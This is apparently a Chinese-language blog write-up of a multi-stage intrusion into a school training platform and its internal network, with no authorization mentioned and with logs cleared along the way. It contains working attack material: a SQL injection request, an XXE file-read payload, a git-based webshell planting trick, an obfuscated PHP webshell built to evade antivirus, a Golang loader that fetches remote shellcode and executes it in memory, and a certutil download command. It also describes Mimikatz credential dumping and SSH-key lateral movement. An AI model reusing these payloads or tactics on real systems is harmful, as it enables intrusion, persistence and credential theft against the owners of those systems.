某天工作室小伙伴发了个某学校培训平台的URL给我说有注入,于是我们俩就开始了愉快的渗(mo)透(yu)旅程

0x00 从注入摸到XXE

首先这个站有一个学生登录口和一个管理登录口:

自然是先用学生身份注册一个账号,进去之后到处摸,然后在课程支付的地方找到一个注入点

因为这个培训平台的所有课程都是付费的,所以首先需要支付才能进行学习。在点击支付后会生成一个支付记录,然后跳转至另一个外部网站进行支付过程。然后就找到一个支付记录查询的页面:

对应HTTP包抓一下,发现user_course_id参数有注入:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
GET /student/apply/uc/uc_pay_log_list.jsp?user_course_id=1102089&returl=uc%5fuser%5fcourse%5flist%2ejsp&13952 HTTP/1.1
Host: xxx
Cookie: xxx
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

是一个MSSQL的bool盲注,数据库用户也是DBA,但是由于不知名原因没法堆叠注入,所以没法直接os-shell

然后跑一手admin表,直接出用户名密码(好家伙,密码直接明文保存)

然后用户名和密码登录管理界面,功能比学生的界面多了很多,可以系统的一些信息,发现Web是root起的

接着在里面乱摸,又摸到了几个注入点,但是由于已经注完了没什么用

然后有两个富文本编辑器ueditor和kindeditor,前者无洞,后者有可以上传HTML的JSP但是没解析,访问直接就下载了,研究了很久,无果

各种上传点也试了,限制得太死了没法绕过

然后找到在学习平台里面有个题目管理,每门课里面都有个在线练习,里面的题目配置长这样:

这不XML嘛,于是果断试一下XXE得不得行

编辑题目抓包,修改题目的XML数据,添加恶意实体:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE items [  
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<items>
<item><serial>1</serial><answer>0</answer><title>&goodies;</title></item>
<item><serial>2</serial><answer>1</answer><title><![CDATA[2]]></title></item>
<item><serial>3</serial><answer>0</answer><title><![CDATA[3]]></title></item>
<item><serial>4</serial><answer>0</answer><title><![CDATA[4]]></title></item>
</items>

打过去成功读到:

然后接着去读别的文件,访问目录可以直接返回当前目录下文件,但是发现一些带有特殊字符的文件就没法读出来,只能读一些iniconfigproperties的文件,看样子像用XXE拖源码是不可能了

网上搜了一波,只有PHP可以支持php://伪协议从而给输出带一层编码,而这个系统的后端是JSP,故放弃,只能继续寻找有用的配置文件

0x01 发现Git仓库

摸到Web目录下,发现有.git/config里面暴露了Git服务器地址http://g.xxx:9000/,登上去一看是个带认证的自建GitLab服务器:

至此又卡住了,于是接着翻文件

/root下又翻到和Git相关的(好家伙是台实体机):

搜了下.git-credentials,好起来了:

在使用git协议拉取远程代码时,是需要进行用户身份认证的。虽然使用GitHub的开源库+HTTPS协议可以避免认证,但有些不方便公开的私有库就没办法使用了。在使用一些自动化脚本或构建系统时,无法人工手动的输入密码,这就需要使用git所提供的credentials功能来完成用户认证了。

是一个Git的用户认证凭据,打开一看是一对账户密码,拿去登一下GitLab,成功进入(好家伙,两页的仓库):

之前翻.bash_history还发现这台机装过Redis,有空接着摸一下文件,审源代码先

0x02 Getshell

审RESTful API的时候发现一个接口Git***Controller.java似乎可以直接进行Git的系统命令操作,部分核心代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
private String gitCmds(String op) {
    String path = request.getSession().getServletContext().getRealPath("/");
    String[] cmds = null;
    EOS os = OSInfo.getOSName();
    if (os == EOS.Linux || os == EOS.Mac_OS || os == EOS.Mac_OS_X) {
        cmds = new String[]{"cd " + path, "cd ..", "git " + op};
    } else if (os == EOS.Windows) {
        String diskIdentity = path.substring(0, 1);
        cmds = new String[]{diskIdentity.toUpperCase() + ":", "cd " + path, "cd ..", "git " + op + ""};
    }
    String retstr = ShellUtil.runShell(cmds);

    return retstr;
}

于是找到对应的路由,发现有一个已经配置好的/log,可以看提交记录,故尝试访问:

和GitLab那边比对了一下,完全一致,于是猜测仓库和Web目录可能是直接对应的(之前挖到的Git Config也进一步验证了这个想法)

于是想到了一个很骚的思路:

  • clone仓库,在隐蔽的地方加一个Webshell
  • commit然后push到GitLab仓库上去
  • 使用Web的那个Git接口执行pull操作,拉取到了最新代码(也就是带Webshell的代码)
  • 本地再进行还原,使用git reset --hard xxxx命令强制回退,再使用git push -u origin master -f强制推送至GitLab仓库
  • OK,仓库提交记录没有任何变化,如果需要复原只需再从Web端pull一次复原了的代码即可

当然这涉及到关键的业务数据和源代码了,建议如果要进行类似操作一定先自己测试一遍(我是在GitHub开了个新仓库测试的)

接下来果然一切都符合预期,轻松Getshell:

发现Web是反向代理开的,开在8080端口没对外开放,通过Nginx代理出去的

清了一波日志之后去搜了一波子域名,发现还有一个站pcc.xxx后台和这个基本一样,而且在GitLab上也有仓库,于是故技重施又打到了Git接口这

发现管理员有提交了,有冲突没法直接pull,在不进行太多改动的情况下没有继续搞了,然后审代码,发现上面那个gitCmds方法可以拼接命令注入……竟然过了这么久才发现

然后就直接反弹shell回来,写了个Webshell维持一下,然后就Getshell了

0x03 拿下第三台机器

整理一下目前得到的信息:

  • 机器1,域名learn.***,外网IP ***.***.***.121,内网IP 192.168.0.125,用户root,系统版本CentOS Linux release 7.6.1810,部署有tomcat(通过反向代理走Nginx出网)、Redis(不出网)

  • 机器2,域名pcc.***,外网IP ***.***.***.116,内网IP 192.168.0.106,用户root,系统版本CentOS Linux release 7.6.1810,部署有tomcat(通过反向代理走Nginx出网)

  • 机器3,域名g.***,外网IP ***.***.***.126,内网IP未知,系统可能为Windows,部署有GitLab、Nexus Repository Manager OSS,尚未Getshell

内网代理Nmap扫描扫到前面两个站的数据库,然后翻源码找到了用户名和密码,直接可以登进去:

发现其中有一个数据库名字和主站某管理登录页面的URI一样,于是摸了一下摸到sys_user表,找到了管理登录的数据(真nb,这几个站连管理员的数据表名字都一模一样,真就找都不用找)

登录进去之后发现功能太多太杂了懒得看,索性直接搞源码下来看

因为是拿下了Git服务器嘛,所以还是先搜搜也没有Git操作的代码,结果果然没有令我失望:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
@POST
@Path("/pull")
@Produces(MediaType.APPLICATION_JSON)
public Response query(@DefaultValue("") @HeaderParam("X-Gitlab-Token") String sToken) {
    I***StudentGitConfig config = new I***StudentGitConfig();
    if (!config.getToken().toLowerCase().equals(sToken.toLowerCase())) {
        System.out.println("errorToken========" + sToken);
        return ResponseUtils.doError();
    }

    if (!SystemSetting.isGitAuto()) {
        System.out.println("GitAuto========off");
        return ResponseUtils.doError();
    }

    GitUtil.pull(config);

    return ResponseUtils.doSuccess();
}

这个接口整的就比之前那个高级一点,先是加载了配置数据,还比对了一个GUID类型的Token,我就先摸到那个GitConfig的代码,获取到了Token,然后按要求打过去发现一直报错:

然后再去审GitUtil的代码,发现还要对应的数据表配置项里面的数据符合要求,于是直接修改后再请求,成功了:

后面就又是故技重施了,直接拿下第三台机器student.***(因为配置文件里面加载的不是本站的代码,而是另一个站的也就是student.***的代码)

然后发现student.***learn.***的公网IP一样,但是Getshell之后的内网IP和文件内容之类的完全不一样,于是猜测IP***.***.***.121是一个反向代理服务器,基于请求的Host再分配给不同的内网机器来处理,也就是说student.***learn.***应该是没有公网IP的

0x04 内网横向

之后又翻了一段时间源代码,没有看到对主站的Git接口,所以暂时就没去管主站了(其实是主站的后台管理里面的功能太tm多了懒得看)

于是又把目光移向了数据库,最一开始摸到注入的时候得到用户是DBA,于是直接试了下xp_cmdshell,成功执行,发现这两台数据库服务器不出网:

看了下systeminfo也是没有域环境的,一台Server2008一台Server2019,两台都开了3389

因为不出网,所以要上线就要做代理,我用Pystinger发现没法带出来,所以就只能作罢

接着摸旁站,发现在仓库里有源代码的某站myxx.xxx连接的是另一个数据库,内网IP为192.168.0.10于是直接连接,执行命令发现是SYSTEM权限,且可以出网:

搜集一波基础信息:

机器192.168.0.10,还有一个内网IP192.168.0.14以及另一个C段的内网IP192.168.138.10,通过NAT出网,是一台2008的机器,没有域的存在,查了下杀软有360,但是只打了三个补丁(不会真有人觉得不打补丁单靠360有用吧),遂连免杀都没做直接上线:

接下来是先注入到一些常驻的进程(比如services.exe这种很多进程都把它作为父进程的进程),然后Mimikatz抓了一波密码,好家伙合着这个管理员在哪个网站都是用这同一套的密码……

现在大致可以知道整个内网的情况,首先域环境是没有的了,所以目的就是拿下尽可能多的机器了

接下来写了个脚本扫了下内网的MSSQL数据库,一共扫出来不少,其中有SYSTEM,有低权限用户,还有不出网的机器

0x05 神奇的超市网站

也扫了下内网的Web,扫出来个很神奇的网站192.168.0.220

是一个超市的站,但是似乎是个废站了,图片之类的东西全部加载不出来,有注册功能,发送手机验证码也莫得反应

于是通过看源代码,把关键字段丢Github去搜,搜到了该系统后台疑似Ecshop:

百度了一下exp,好家伙,洞那叫一个多啊,Github随便找了一个exp试试看,发现存在能够写进去但是秒被删的情况,洞介绍:ECShop全系列版本远程代码执行高危漏洞分析+实战提权

于是开始认真看这个洞的原理,是一个基于Referer的SQL注入+RCE,Github上面找的工具请求都是写死了的局限性很大,解出来之后改了一下就可以了:

发现是Windows机,所以猜测之前秒被删的情况是被杀软拦截了,因为之前找的工具是直接自动化写一句话,没有做免杀

稍微做了下免杀,首先把assert拆开变成chr()逐字符拼接绕过敏感字符的匹配,然后用file_put_contents加绝对路径就可以写进去了

第一次写入之后发现另一个问题:所有引号被做了转义所以报错,遂把所有字符串都改成了chr()的形式,最终形成的一句话如下:

1
2
3
4
5
<?php
    $ch=explode(chr(46),chr(104).chr(101).chr(108).chr(108).chr(111).chr(46).chr(97).chr(115).chr(46).chr(119).chr(111).chr(114).chr(108).chr(100).chr(46).chr(115).chr(101).chr(46).chr(114).chr(116)); // hello.as.world.se.rt
    $c=$ch[1].$ch[3].$ch[4];  // assert
    $c($_POST[chr(97)]);
?>

本来想用冰蝎更稳一点,但是发现目标机器没启用OpenSSL库导致连不上,于是就用蚁剑了,加了个base64编码顺利连上:

Getshell之后翻看了一下,从用户名和里面文件来看应该是一台比较重要的个人服务器,里面也安装了钉钉、360安全浏览器这些东西,再加上用户名在之前拿下的很多网站都有管理员账户,所以目测是一台较核心的机器

0x06 Golang简单的免杀

至此已经拿下了7台机器了(4台Windows均为内网机器,SYSTEM权限、3台Linux为边缘服务器,root权限),由于有的机器不出网,所以统一管理起来很不方便,所以我斗胆在其中一台Linux服务器上某个不起眼的角落部署了一个CS Teamserver,然后将CS通过代理代进内网连接,这样就方便很多了

然后继续寻找手段让192.168.0.220的机器上线,由于查看tasklist有360,同时也试过了直接传Web一句话会被删除,并且测试发现蚁剑里面没法执行Powershell命令,一执行就不返回,不知道什么原因只能使用传统的exe上线了

由于之前有研究过一点点免杀,通过远程加载Shellcode+Shellcode的轻微变形就可以实现大部分国内杀毒软件的免杀了,同时我用了Golang,相对免杀会更容易一些(唯一的缺点就是生成的文件太大了,不过也问题不大,实际可以基于场景来进行选择)

源代码很简单,就是通过HTTP获取Shellcode,然后Base64解密后通过调用Windows的API来进行分配内存、复制数据和调用等操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package main

import (
	"syscall"
	"unsafe"
	"io/ioutil"
    "net/http"
	"encoding/base64"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func getCode() []byte {
	resp, _ := http.Get("http://192.168.0.125:8080/3.txt")
	body, _ := ioutil.ReadAll(resp.Body)
	decodeBytes, _ := base64.StdEncoding.DecodeString(string(body))
	return decodeBytes
}

func main() {
	xor_shellcode := getCode()

	addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

编译出来文件大小6.14MB,将其放在已经拿下的某服务器目录下,在不出网的机器上使用certutil就可以下载exe了

1
certutil -urlcache -split -f <URL> <Destination>

下载后运行,CS上线,抓哈希之后直接RDP连接:

大概翻了下文件,这台机器只有俩盘,但是有很多内网盘连接在上面,点进去也都只有Web目录是暴露的,看样子还是台开发机()

翻来翻去也没看到啥,数据库之前都已经翻过了,Web目录里面也都是Git仓库里面的东西,于是开始寻找新的方向

翻翻常用软件吧,随便一找找到了Xshell,点进去发现大量连接会话信息,有部分可以直接连接上服务器:

于是我用之前日下的一台Linux做跳板,把公钥都传上去以实现无密码登录,又拿下了8台Linux机器

0x07 小总结

做了这么多,也该总结下了

目前一共拿下Linux主机11台,均为root权限,Windows主机12台,其中5台SYSTEM权限,7台为数据库权限

这些新拿下的Linux机器目前还没有和已知的域名关联上,后续可以研究一下,然后就是那个Git仓库的服务器了,似乎不在这个内网之中,不知道是VPS还是啥

结合内网扫描的结果,目前这个平台的几个核心域名下的服务器都被拿下了,内网也摸得差不多了,数据库基本全部拿下,所以可能整个渗透就先告一段落了

这次渗透其实真的比较简单,除去最一开始的Web漏洞之外,还有就是通过发现了这个平台开发人员的种种恶习才能够这么顺利,比如很多后台系统的数据库里密码都是明文保存的(1202年了还有人不知道要加哈希吗),再加上这些开发管理人员在所有系统用的都是同一套账号密码,基本上就是那几个变体,通过撞库很容易撞开一些系统的验证,再有就是一些旧站、废站不予以关闭一直开在那,有漏洞的话就很容易被利用下来(所以为什么那个核心的开发机器上面会开一个超市的网站,我至今都没有想通)

最后附一个清理痕迹的链接:

THE END